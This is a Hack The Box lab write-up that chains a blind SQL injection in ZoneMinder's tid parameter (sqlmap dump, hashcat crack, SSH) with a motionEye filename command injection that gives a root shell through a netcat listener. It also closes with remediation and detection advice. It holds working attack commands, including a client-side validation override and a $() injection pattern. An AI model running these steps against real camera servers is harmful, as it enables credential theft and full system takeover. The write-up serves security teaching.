Skip to content

CCTV — ZoneMinder Blind SQL Injection to Root via motionEye Filename Command Injection

Tools
rustscan, feroxbuster, sqlmap, hashcat, ssh, curl, systemctl, netcat
Skill demonstrated
Blind SQL injection credential recovery and server-side command-injection privilege escalation against Linux camera-management services
Tags
  • linux
  • sql-injection
  • command-injection
Field Value
Difficulty Easy
Target environment Linux host running ZoneMinder 1.37.63 and a root-run motionEye 0.43.1b4 service
Starting position Unauthenticated network access
Objective Recover ZoneMinder credentials through a blind SQL injection, reach SSH access, then turn a client-side-only filename validation flaw in a root-run motionEye service into privileged command execution
Outcome SSH user access via a cracked credential hash; root command execution through motionEye filename handling

CCTV is an Easy-rated Hack The Box Linux lab built around IP-camera management software. A blind SQL injection in ZoneMinder’s tid parameter recovers credential hashes from the Users table; one cracks offline to an SSH login. From that context an internal motionEye instance, running as root and bound to the loopback interface, accepts a filename configuration value that is validated only in client-side JavaScript, and processing that value yields root command execution. Target addresses, hostnames, account names, session data, credential hashes, flags, and payload specifics are replaced with role-based placeholders; command syntax is preserved.

Attack path: ZoneMinder blind SQL injection (tid) → credential hash recovery → offline crack → SSH user access → loopback motionEye service → client-side validation bypass → filename command injection → root

  • Target: a Linux host exposing SSH and an HTTP service that redirects into a ZoneMinder 1.37.63 installation under /zm/.
  • Exposed services: SSH (22) and HTTP (80).
  • Starting position: unauthenticated network access.
  • Objective: establish user access through the camera-management web application, then assess the internal motionEye service for a privilege-escalation path.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a full TCP scan exposes SSH and a single HTTP service that redirects into a camera-management application.

Terminal window
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV
22/tcp: SSH
80/tcp: HTTP (redirects to <TARGET_HOST> → ZoneMinder /zm/)

Directory enumeration identifies the application and its version:

Terminal window
feroxbuster --url http://<TARGET_HOST> --wordlist <WEB_CONTENT_WORDLIST>
/zm/ — ZoneMinder 1.37.63

Significance: the only external surface is SSH and the ZoneMinder web application, and the specific version is disclosed in the application path — enough to target a known vulnerability in the request handling.

Result: SSH and a ZoneMinder 1.37.63 web application are the exposed services.

2. Credential Recovery via Blind SQL Injection

Section titled “2. Credential Recovery via Blind SQL Injection”

Observation: ZoneMinder 1.37.63 is affected by CVE-2024-51482, a blind SQL injection in the tid request parameter, so an authenticated request can be used to read the Users table.

Action: authenticate with documented default credentials to obtain a session cookie, then point sqlmap at the vulnerable parameter.

Terminal window
curl -s -c cookies.txt -X POST http://<TARGET_HOST>/zm/index.php \
-d "view=login&action=login&username=<DEFAULT_USER>&password=<DEFAULT_PASSWORD>" -L
Terminal window
sqlmap -u "http://<TARGET_HOST>/zm/index.php" \
--data="request=event&action=removetag&id=1&tid=1" \
--cookie="<SESSION_COOKIE>" \
-p tid --dbms=mysql -D zm -T Users -C Username,Password \
--dump --batch --threads 5 --time-sec=1

Dumped rows (identifiers and hashes redacted):

Database: zm
Table: Users
<LAB_USER_1> : <BCRYPT_HASH_1>
<LAB_USER_2> : <BCRYPT_HASH_2>
<LAB_USER_3> : <BCRYPT_HASH_3>

Significance: no data is reflected in the response, but a time-based technique still extracts the table, and the Password column holds reusable bcrypt hashes rather than ephemeral tokens.

Result: three account password hashes are recovered from the ZoneMinder Users table.

Observation: the recovered values are bcrypt hashes, which can be attacked offline without further interaction with the target.

Action: crack the hash file offline, then use the recovered plaintext against SSH.

Terminal window
hashcat -m 3200 hashes.txt <WORDLIST>
<LAB_USER_1> : <LAB_USER_PASSWORD>
Terminal window
ssh <LAB_USER_1>@<TARGET_HOST>

Significance: offline cracking removes any rate limit or lockout the live service might apply, so a hash disclosure becomes a usable login even without online authentication attempts.

Result: a credential pair was recovered and subsequently validated through SSH. The source records user-level access but retains no separate SSH session transcript.

Observation: from the user shell, probing loopback ports identifies a motionEye service, and a service-status check reports its execution account.

Terminal window
for port in 7999 8765 9081; do
curl -si http://127.0.0.1:$port 2>&1 | head -5
done
Port 7999: Server: motionEye/0.43.1b4
Terminal window
systemctl status motioneye
User=root

Significance: the camera service is reachable only from the host itself, so it is invisible to the external scan, and it runs with root privileges — any flaw in how it handles configuration input would yield root rather than a service account.

Result: a root-run motionEye 0.43.1b4 service is identified on an internal loopback port.

Observation: motionEye 0.43.1b4 is affected by CVE-2025-60787; the Still Images → Image File Name field is validated only in client-side JavaScript, and the value is written into motion’s configuration, where the Motion process interprets shell metacharacters.

Action: forward the internal interface over the existing SSH session, override the client-side validation in the browser console, place a shell-metacharacter value in the filename field, and trigger a snapshot while a listener waits.

Terminal window
ssh -L 8765:127.0.0.1:8765 <LAB_USER_1>@<TARGET_HOST> -N

The motionEye UI was accessed with the administrative credential stored in its configuration file.

configUiValid = function() { return true; };

The injected filename is shown as a placeholder pattern:

$(<INJECTED_COMMAND>).%Y-%m-%d-%H-%M-%S

Triggering capture on the internal API:

Terminal window
curl http://127.0.0.1:7999/0/action/snapshot
Terminal window
nc -lvnp <LISTEN_PORT>

The listener returns a shell in the root context:

root@<TARGET_HOST>:/etc/motioneye#

Significance: browser-side validation cannot protect a value that is ultimately consumed by a server-side process, and because motion runs as root, a filename containing shell metacharacters escalates from the low-privileged SSH user to root in a single step.

Result: root-level command execution is obtained through the unvalidated filename configuration.

Challenge Decision Rationale
The motionEye interface is bound to loopback and is not externally reachable Forwarded the port through the existing SSH session The service is only reachable from the target host itself
The Image File Name field is validated only in client-side JavaScript Overrode the validation function in the browser console before submitting the value The server accepted the value even though the normal form blocks it

The evidence establishes root-level command execution on the target through a configuration field that is validated only in the browser. Limitation: the injected payload is shown as a placeholder pattern rather than a literal.

Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.

  1. Blind SQL injection in a request parameter. The tid parameter of /zm/index.php reached a SQL query without adequate handling, allowing the Users table and its bcrypt hashes to be dumped. Recommendation: update ZoneMinder past the fixed release and use prepared statements or parameterized queries for every database-backed request parameter. Detection: monitor for slow, repetitive requests to a single endpoint consistent with time-based extraction.
  2. Client-side-only input validation. The Image File Name field was validated only in browser JavaScript, so the value reached the server unchanged and was written into motion’s configuration. Recommendation: validate all configuration input on the server and reject shell metacharacters before a value is written to configuration. Detection: alert on configuration changes whose values contain shell metacharacters.
  3. Privileged surveillance daemon. motionEye and motion ran as root, so a filename-handling flaw produced root code execution instead of access limited to a service account. Recommendation: run the camera services under a dedicated least-privilege motioneye account that holds only the device access it needs, such as membership in the video group. Detection: audit long-running services for unnecessary root execution.
Edit page

Last updated: